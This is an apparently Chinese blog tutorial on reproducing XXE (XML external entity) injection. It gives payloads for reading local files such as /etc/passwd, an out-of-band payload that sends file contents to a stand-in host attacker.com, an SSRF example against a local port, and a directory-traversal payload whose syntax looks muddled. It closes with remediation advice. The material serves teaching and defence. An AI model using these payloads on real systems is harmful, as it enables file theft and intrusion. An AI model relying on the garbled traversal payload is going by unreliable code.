xxe漏洞之——漏洞复现

XXE漏洞详解

漏洞介绍
XXE全称XML External Entity Injection,也就是XML外部实体注入攻击,漏洞是对非安全的外部实体数据进行处理时引发的安全问题。要了解XXE,就必须懂得XML的一些规则。
XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
漏洞原理
DTD里声明XML外部实体<!ENTITY 实体名称 SYSTEM “url”>,url内容为一些敏感的本地文件路径或攻击链接或127.0.0.1:端口(端口扫描)
漏洞复现
Xml数据:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE name [
<!ENTITY aa SYSTEM "file:///C:/Users/Administrator/Desktop/1.txt" >
]>
<name>&aa;</name>

输入后效果:1.txt内容被显示到显示name的值处
在这里插入图片描述
漏洞危害
1.读取任意文件:外部实体内容为本地文件路径
2.URL请求:外部实体内容为指定url
3.Dos拒绝服务:递归调用,占用大量服务器资源

### XXE(XML External Entity)漏洞复现步骤及利用示例 XXE(XML External Entity)漏洞通常出现在应用程序解析 XML 输入时,未正确处理外部实体引用,从而导致潜在的敏感数据泄露、服务器端请求伪造(SSRF)等攻击。以下是复现 XXE 漏洞的典型步骤及利用示例。 #### 1. 漏洞复现环境搭建 为了复现 XXE 漏洞,需准备一个能够解析 XML 并支持外部实体的解析器。例如,使用 Python 的 `xml.etree.ElementTree` 或 Java 的 `DocumentBuilderFactory` 等库。搭建一个简单的 Web 应用,接收 XML 输入并解析。 #### 2. 基础 XXE 利用示例 最基本的 XXE 攻击是通过定义外部实体读取本地文件。例如: ```xml <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> ``` 当服务端解析该 XML 时,会读取 `/etc/passwd` 文件内容,并可能将其返回给攻击者[^4]。 #### 3. 带外数据(OOB)利用方式 在某些情况下,服务器不会直接返回解析结果,此时可以通过带外数据(Out-of-Band)方式将数据发送到攻击者控制的服务器。例如: ```xml <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % remote SYSTEM "http://attacker.com/xxe?data=%file;"> %remote; ]> <root/> ``` 该 payload 会尝试读取 `/etc/passwd` 文件,并将其作为参数发送到攻击者控制的 `http://attacker.com/xxe`,从而实现数据窃取[^4]。 #### 4. XXE 目录遍历攻击 通过 XXE 漏洞,还可以尝试列出服务器上的目录内容。虽然实际中受限于文件系统权限,但理论上可以构造如下 payload: ```xml <!DOCTYPE test [ <!ENTITY % file SYSTEM "file:///etc/"> <!ENTITY % eval "<!ENTITY % directory SYSTEM 'file:///%file;'>"> %eval; %directory; ]> <test>&directory;</test> ``` 此 payload 会尝试读取 `/etc/` 目录内容,并通过外部实体将其内容外带[^1]。 #### 5. XXE 与 SSRF 结合攻击 XXE 还可用于 SSRF(Server Side Request Forgery)攻击,访问内网资源或远程服务器。例如: ```xml <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/internal-api"> ]> <root>&xxe;</root> ``` 此 payload 会向本地 `8080` 端口发起请求,获取内网服务的响应内容[^4]。 #### 6. XXE 修复建议 为了防止 XXE 漏洞,建议采取以下措施: - **禁用外部实体解析**:在 XML 解析器中禁用 DTD(Document Type Definitions)和外部实体。 - **使用安全的解析库**:避免使用易受攻击的 XML 解析器,改用 JSON 等更安全的数据格式。 - **输入验证与过滤**:对用户输入进行严格验证,拒绝包含 XML 特殊字符的输入。 - **最小权限原则**:确保运行 XML 解析器的进程使用最小权限账户,防止攻击者读取敏感文件。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值